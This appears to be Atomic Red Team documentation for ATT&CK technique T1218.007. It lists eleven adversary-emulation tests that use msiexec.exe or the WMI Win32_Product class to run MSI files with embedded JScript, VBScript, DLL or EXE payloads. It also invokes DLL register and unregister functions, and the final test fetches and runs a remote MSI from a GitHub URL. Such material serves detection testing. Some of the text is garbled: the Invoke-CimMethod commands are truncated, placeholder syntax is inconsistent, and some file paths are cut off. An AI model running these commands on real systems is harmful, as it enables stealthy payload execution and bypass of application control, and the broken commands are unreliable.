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# T1218.007 - Msiexec

## Description from ATT&CK

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the `AlwaysInstallElevated` policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)

## Atomic Tests

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# Atomic Test #1 - Msiexec.exe - Execute Local MSI file with embedded JScript

Executes an MSI containing embedded JScript code using msiexec.exe

Supported Platforms: Windows

auto\_generated\_guid: a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007_JScript.msi
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe
action	Specifies the MSI	String	i

	action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.	
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Attack Commands: Run with **command\_prompt** !

```
{msi_exe} /q /#{action} "#{msi_payload}"
```



Dependencies: Run with **powershell** !

Description: The MSI file must exist on disk at specified location (#{msi\_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```



Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```



## Atomic Test #2 - Msiexec.exe - Execute Local MSI file with embedded VBScript

Executes an MSI containing embedded VBScript code using msiexec.exe

Supported Platforms: Windows

auto\_generated\_guid: 8d73c7b0-c2b1-4ac1-881a-4aa644f76064

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007_VBScript.r
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe
action	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.	String	i

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /q /#{action} "#{msi_payload}"
```

Dependencies: Run with `powershell` !

Description: The MSI file must exist on disk at specified location (#{msi\_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```



Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```



# Atomic Test #3 - Msiexec.exe - Execute Local MSI file with an embedded DLL

Executes an MSI containing an embedded DLL using msiexec.exe

Supported Platforms: Windows

auto\_generated\_guid: 628fa796-76c5-44c3-93aa-b9d8214fd568

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007_DLL.msi
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe
action	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all	String	i

	three action types.		
--	---------------------	--	--

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /q /#{action} "#{msi_payload}"
```

Dependencies: Run with `powershell` !

Description: The MSI file must exist on disk at specified location (#{msi\_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

## Atomic Test #4 - Msiexec.exe - Execute Local MSI file with an embedded EXE

Executes an MSI containing an embedded EXE using msiexec.exe

Supported Platforms: Windows

auto\_generated\_guid: ed3fa08a-ca18-4009-973e-03d13014d0e8

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007_EXE.msi

msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe
action	Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types.	String	i

Attack Commands: Run with `command_prompt` !

```
#{{msi_exe}} /q /#{{action}} "{{msi_payload}}"
```

Dependencies: Run with `powershell` !

Description: The MSI file must exist on disk at specified location ({{msi\_payload}})

Check Prereq Commands:

```
if (Test-Path {{msi_payload}}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

# Atomic Test #5 - WMI Win32\_Product Class - Execute Local MSI file with embedded JScript

Executes an MSI containing embedded JScript code using the WMI Win32\_Product class

Supported Platforms: Windows

auto\_generated\_guid: 882082f0-27c6-4eec-a43c-9aa80bccdb30

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007_JScript.msi
action	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.	String	Install

Attack Commands: Run with powershell !

```
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ Pack; 
```

Dependencies: Run with powershell !

Description: The MSI file must exist on disk at specified location (#{msi\_payload})



Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

# Atomic Test #6 - WMI Win32\_Product Class - Execute Local MSI file with embedded VBScript

Executes an MSI containing embedded VBScript code using the WMI Win32\_Product class

Supported Platforms: Windows

auto\_generated\_guid: cf470d9a-58e7-43e5-b0d2-805dff05576

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007_VBScript.m
action	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to	String	Install

	support all three action types.		
--	---------------------------------	--	--

Attack Commands: Run with `powershell` !

```
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ Pack;
```

Dependencies: Run with `powershell` !

Description: The MSI file must exist on disk at specified location (#{msi\_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

## Atomic Test #7 - WMI Win32\_Product Class - Execute Local MSI file with an embedded DLL

Executes an MSI containing an embedded DLL using the WMI Win32\_Product class

Supported Platforms: Windows

auto\_generated\_guid: 32eb3861-30da-4993-897a-42737152f5f8

Inputs:

Name	Description	Type	Default Value
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msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007_DLL.msi
action	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.	String	Install

Attack Commands: Run with powershell !

```
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ Pack;
```

Dependencies: Run with powershell !

Description: The MSI file must exist on disk at specified location (#{msi\_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

# Atomic Test #8 - WMI Win32\_Product Class - Execute Local MSI file with an embedded EXE

Executes an MSI containing an embedded EXE using the WMI Win32\_Product class

Supported Platforms: Windows

auto\_generated\_guid: 55080eb0-49ae-4f55-a440-4167b7974f79

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	Path	PathToAtomicsFolder\T1218.007\src\T1218.007_EXE.msi
action	Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types.	String	Install

Attack Commands: Run with powershell !

```
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ Pack; 
```

Dependencies: Run with powershell !

Description: The MSI file must exist on disk at specified location (#{msi\_payload})

Check Prereq Commands:

```
if (Test-Path #{msi_payload}) {exit 0} else {exit 1}
```



Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```



## Atomic Test #9 - Msiexec.exe - Execute the DllRegisterServer function of a DLL

Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "src" folder is only built for 64-bit, so this won't work on a 32-bit OS.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 0106ffa5-fab6-4c7d-82e3-e6b8867d5e5d

**Inputs:**

Name	Description	Type	Default Value
dll_payload	DLL to execute that has an implemented DllRegisterServer function	Path	PathToAtomicsFolder\T1218.007\src\MSIRunner.dll
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe

**Attack Commands:** Run with **command\_prompt** !

```
#{msi_exe} /y "#{dll_payload}"
```



**Dependencies:** Run with **powershell** !

Description: The DLL must exist on disk at specified location ({dll\_payload})

Check Prereq Commands:

```
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

# Atomic Test #10 - Msiexec.exe - Execute the DllUnregisterServer function of a DLL

Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "src" folder is only built for 64-bit, so this won't work on a 32-bit OS.

Supported Platforms: Windows

auto\_generated\_guid: ab09ec85-4955-4f9c-b8e0-6851baf4d47f

Inputs:

Name	Description	Type	Default Value
dll_payload	DLL to execute that has an implemented DllUnregisterServer function	Path	PathToAtomicsFolder\T1218.007\src\MSIRunner.dll
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe

Attack Commands: Run with `command_prompt` !

```
#{msi_exe} /z "#{dll_payload}"
```

Dependencies: Run with `powershell` !

Description: The DLL must exist on disk at specified location (`{dll_payload}`)

Check Prereq Commands:

```
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host "You must provide your own MSI"
```

# Atomic Test #11 - Msiexec.exe - Execute Remote MSI file

Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.

Supported Platforms: Windows

auto\_generated\_guid: 44a4bedf-ffe3-452e-bee4-6925ab125662

Inputs:

Name	Description	Type	Default Value
msi_payload	MSI file to execute	String	<a href="https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/T1218.007_JScript.js">https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/T1218.007_JScript.js</a>
msi_exe	MSIExec File Path	Path	c:\windows\system32\msiexec.exe

Attack Commands: Run with `command_prompt` !

```
{msi_exe} /q /i "{msi_payload}"
```

